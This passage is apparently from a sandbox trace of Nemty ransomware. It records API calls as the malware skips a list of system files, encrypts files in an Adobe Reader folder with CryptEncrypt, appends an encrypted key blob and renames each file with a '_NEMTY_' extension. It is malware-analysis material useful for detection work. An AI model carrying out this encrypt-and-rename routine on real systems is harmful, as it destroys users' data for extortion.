lstrcmpiW (lpString1="MakeAccessible.SLV", lpString2="MSDOS.SYS") returned -1 [0183.974] lstrcmpiW (lpString1="MakeAccessible.SLV", lpString2="IO.SYS") returned 1 [0183.974] lstrcmpiW (lpString1="MakeAccessible.SLV", lpString2="boot.ini") returned 1 [0183.974] lstrcmpiW (lpString1="MakeAccessible.SLV", lpString2="boot.ini") returned 1 [0183.974] lstrcmpiW (lpString1="MakeAccessible.SLV", lpString2="AUTOEXEC.BAT") returned 1 [0183.974] lstrcmpiW (lpString1="MakeAccessible.SLV", lpString2="ntuser.dat") returned -1 [0183.974] lstrcmpiW (lpString1="MakeAccessible.SLV", lpString2="desktop.ini") returned 1 [0183.974] lstrcmpiW (lpString1="MakeAccessible.SLV", lpString2="CONFIG.SYS") returned 1 [0183.974] lstrcmpiW (lpString1="MakeAccessible.SLV", lpString2="RECYCLER") returned -1 [0183.974] lstrcmpiW (lpString1="MakeAccessible.SLV", lpString2="BOOTSECT.BAK") returned 1 [0183.974] lstrcmpiW (lpString1="MakeAccessible.SLV", lpString2="bootmgr") returned 1 [0183.974] lstrcmpiW (lpString1="MakeAccessible.SLV", lpString2="programdata") returned -1 [0183.975] lstrcmpiW (lpString1="MakeAccessible.SLV", lpString2="appdata") returned 1 [0183.975] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0183.975] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MakeAccessible.SLV", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0183.975] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0183.975] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MakeAccessible.SLV", cchWideChar=18, lpMultiByteStr=0x4f9ecb8, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MakeAccessible.SLV", lpUsedDefaultChar=0x0) returned 18 [0183.975] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0183.975] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0183.975] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MakeAccessible.SLV", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0183.975] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0183.975] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MakeAccessible.SLV", cchWideChar=18, lpMultiByteStr=0x4f9ecb8, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MakeAccessible.SLV", lpUsedDefaultChar=0x0) returned 18 [0183.975] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0183.975] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0183.975] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0183.975] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0183.975] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MakeAccessible.SLV", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0183.975] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0183.975] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MakeAccessible.SLV", cchWideChar=18, lpMultiByteStr=0x4f9ecb8, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MakeAccessible.SLV", lpUsedDefaultChar=0x0) returned 18 [0183.975] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0183.975] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0183.975] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MakeAccessible.SLV", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0183.975] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0183.975] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MakeAccessible.SLV", cchWideChar=18, lpMultiByteStr=0x4f9ed08, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MakeAccessible.SLV", lpUsedDefaultChar=0x0) returned 18 [0183.975] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0183.975] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0183.975] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0183.975] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0183.975] Sleep (dwMilliseconds=0x5) [0183.984] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x214f5d70, dwHighDateTime=0x1d561e8)) [0183.984] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x214f5d70, dwHighDateTime=0x1d561e8)) [0183.984] GetLastError () returned 0x0 [0183.984] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0183.984] GetLastError () returned 0x0 [0183.984] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0183.984] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0183.984] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0183.984] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0183.985] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0183.985] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0183.985] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0183.985] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e5dc | out: pszString="HxQu8gPDGiABEAyGX/hZgOSnOlceBvPh3HfYJP+0Z3OHcO7ltjD0a8brRWiNNGPK\r\nlfRxTR6R/dB7KaR0BNR9yd/ICAhu8bCEL+NUO1kOrordfT3ZWjrZcwtK4FOk8b/q\r\nZDh9I5U0BBAwMQ8lUZRlDuyGdVuJ0caJqcDoo3AkUKJKRBg4VInF3suqA/thgnw7\r\nZYmC6gVPLV2hatT6RvX58sKsz6S6NRJYI8bnagw1IwVRNoXxHL50W9b7LgVvtgR3\r\nSdMuWC23/h8vFpEOUjFStBjkMAWeedI7DS+3XApglVXtkQ7RrwnAc7c/xWGfSANE\r\nmc22MaWtLViiAVFIPzj6GQ==\r\n", pcchString=0x653e5dc) returned 1 [0183.985] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0183.985] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0183.985] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0183.985] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0183.985] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0183.985] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0183.985] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sl_SI\\MakeAccessible.SLV" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sl_si\\makeaccessible.slv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0183.985] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=73216) returned 1 [0183.985] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x11e00) returned 0x6352c48 [0183.985] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0183.986] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x11e00, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x11e00, lpOverlapped=0x0) returned 1 [0183.992] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0183.992] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x11e00, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x11e00, lpOverlapped=0x0) returned 1 [0183.992] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0183.992] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=73216, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x11e00 [0183.992] WriteFile (in: hFile=0x2e8, lpBuffer=0x63400f0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x63400f0*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0183.993] CloseHandle (hObject=0x2e8) returned 1 [0183.993] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0183.993] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0183.993] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0183.993] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ece0, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0183.993] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0183.993] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0183.993] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340308 [0183.993] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x63403c0 [0183.993] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0183.993] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0183.993] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sl_SI\\MakeAccessible.SLV" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sl_si\\makeaccessible.slv"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sl_SI\\MakeAccessible.SLV._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sl_si\\makeaccessible.slv._nemty_kgobjgd_")) returned 1 [0183.993] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403c0 | out: hHeap=0x4f90000) returned 1 [0183.994] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0183.994] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0183.994] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0183.994] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0183.994] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0183.994] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0183.994] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0183.994] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0183.994] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0183.994] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d7bb9a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x13400, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="Multimedia.SLV", cAlternateFileName="MULTIM~1.SLV")) returned 1 [0183.994] lstrcmpiW (lpString1="Multimedia.SLV", lpString2=".") returned 1 [0183.994] lstrcmpiW (lpString1="Multimedia.SLV", lpString2="..") returned 1 [0183.994] lstrcmpiW (lpString1="Multimedia.SLV", lpString2="...") returned 1 [0183.994] lstrcmpiW (lpString1="Multimedia.SLV", lpString2="windows") returned -1 [0183.994] lstrcmpiW (lpString1="Multimedia.SLV", lpString2="$RECYCLE.BIN") returned 1 [0183.994] lstrcmpiW (lpString1="Multimedia.SLV", lpString2="rsa") returned -1 [0183.994] lstrcmpiW (lpString1="Multimedia.SLV", lpString2="NTDETECT.COM") returned -1 [0183.994] lstrcmpiW (lpString1="Multimedia.SLV", lpString2="ntldr") returned -1 [0183.994] lstrcmpiW (lpString1="Multimedia.SLV", lpString2="MSDOS.SYS") returned 1 [0183.994] lstrcmpiW (lpString1="Multimedia.SLV", lpString2="IO.SYS") returned 1 [0183.994] lstrcmpiW (lpString1="Multimedia.SLV", lpString2="boot.ini") returned 1 [0183.994] lstrcmpiW (lpString1="Multimedia.SLV", lpString2="boot.ini") returned 1 [0183.994] lstrcmpiW (lpString1="Multimedia.SLV", lpString2="AUTOEXEC.BAT") returned 1 [0183.994] lstrcmpiW (lpString1="Multimedia.SLV", lpString2="ntuser.dat") returned -1 [0183.994] lstrcmpiW (lpString1="Multimedia.SLV", lpString2="desktop.ini") returned 1 [0183.994] lstrcmpiW (lpString1="Multimedia.SLV", lpString2="CONFIG.SYS") returned 1 [0183.994] lstrcmpiW (lpString1="Multimedia.SLV", lpString2="RECYCLER") returned -1 [0183.994] lstrcmpiW (lpString1="Multimedia.SLV", lpString2="BOOTSECT.BAK") returned 1 [0183.994] lstrcmpiW (lpString1="Multimedia.SLV", lpString2="bootmgr") returned 1 [0183.994] lstrcmpiW (lpString1="Multimedia.SLV", lpString2="programdata") returned -1 [0183.994] lstrcmpiW (lpString1="Multimedia.SLV", lpString2="appdata") returned 1 [0183.994] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0183.994] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Multimedia.SLV", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0183.995] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Multimedia.SLV", cchWideChar=14, lpMultiByteStr=0x653e890, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Multimedia.SLV", lpUsedDefaultChar=0x0) returned 14 [0183.995] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0183.995] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Multimedia.SLV", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0183.995] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Multimedia.SLV", cchWideChar=14, lpMultiByteStr=0x653e890, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Multimedia.SLV", lpUsedDefaultChar=0x0) returned 14 [0183.995] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0183.995] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0183.995] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0183.995] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Multimedia.SLV", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0183.995] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Multimedia.SLV", cchWideChar=14, lpMultiByteStr=0x653e8e0, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Multimedia.SLV", lpUsedDefaultChar=0x0) returned 14 [0183.995] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0183.995] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0183.995] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Multimedia.SLV", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0183.995] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Multimedia.SLV", cchWideChar=14, lpMultiByteStr=0x653e918, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Multimedia.SLV", lpUsedDefaultChar=0x0) returned 14 [0183.995] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0183.995] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0183.995] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0183.995] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0183.995] Sleep (dwMilliseconds=0x5) [0184.000] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x2151bed0, dwHighDateTime=0x1d561e8)) [0184.000] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x2151bed0, dwHighDateTime=0x1d561e8)) [0184.000] GetLastError () returned 0x0 [0184.000] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0184.000] GetLastError () returned 0x0 [0184.000] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0184.000] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0184.000] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0184.000] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0184.000] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0184.000] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0184.000] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0184.000] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e5dc | out: pszString="jftUCcxeCuATCxHvwlmW9v1dC5klwm/DmlURRSsafZ/ff3XAnYxUWeRGyOqI3+Db\r\nf584DqZh9RWCqCKk5Nhs5MAcNZ+2jicPL6Jv8vYRj7y+U44e93Pw/P6q4v/mSovP\r\ntMtC/rJYGgHtsGuKR4U+tdpqiXfkUPyyYTOAbq/05LDAHbHf9E1nkT6CQ9ICcGpf\r\nE4KR8poxqfnk+TrsqfdZfIERE2sSyGmyt9zUZLtrw4XbFQZyCICvCq0NEldJENyx\r\nqLTvz1ROgbYYhCVaud93JxM3tDuzX+vyHpmCjs1MovunQz8yr2mW0HTJmAlJnA51\r\nt3OrWYc45hdghCV6PLm4FA==\r\n", pcchString=0x653e5dc) returned 1 [0184.000] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0184.000] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0184.000] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0184.000] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0184.000] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0184.001] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0184.001] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sl_SI\\Multimedia.SLV" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sl_si\\multimedia.slv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0184.001] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=78848) returned 1 [0184.001] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x13400) returned 0x6352c48 [0184.001] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0184.001] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x13400, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x13400, lpOverlapped=0x0) returned 1 [0184.008] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0184.008] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x13400, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x13400, lpOverlapped=0x0) returned 1 [0184.008] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0184.008] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=78848, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x13400 [0184.008] WriteFile (in: hFile=0x2e8, lpBuffer=0x63400f0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x63400f0*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0184.008] CloseHandle (hObject=0x2e8) returned 1 [0184.008] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0184.008] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0184.008] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0184.008] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0184.008] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0184.008] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0184.008] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0184.008] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63403b0 [0184.008] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0184.008] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0184.008] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sl_SI\\Multimedia.SLV" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sl_si\\multimedia.slv"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sl_SI\\Multimedia.SLV._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sl_si\\multimedia.slv._nemty_kgobjgd_")) returned 1 [0184.009] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | 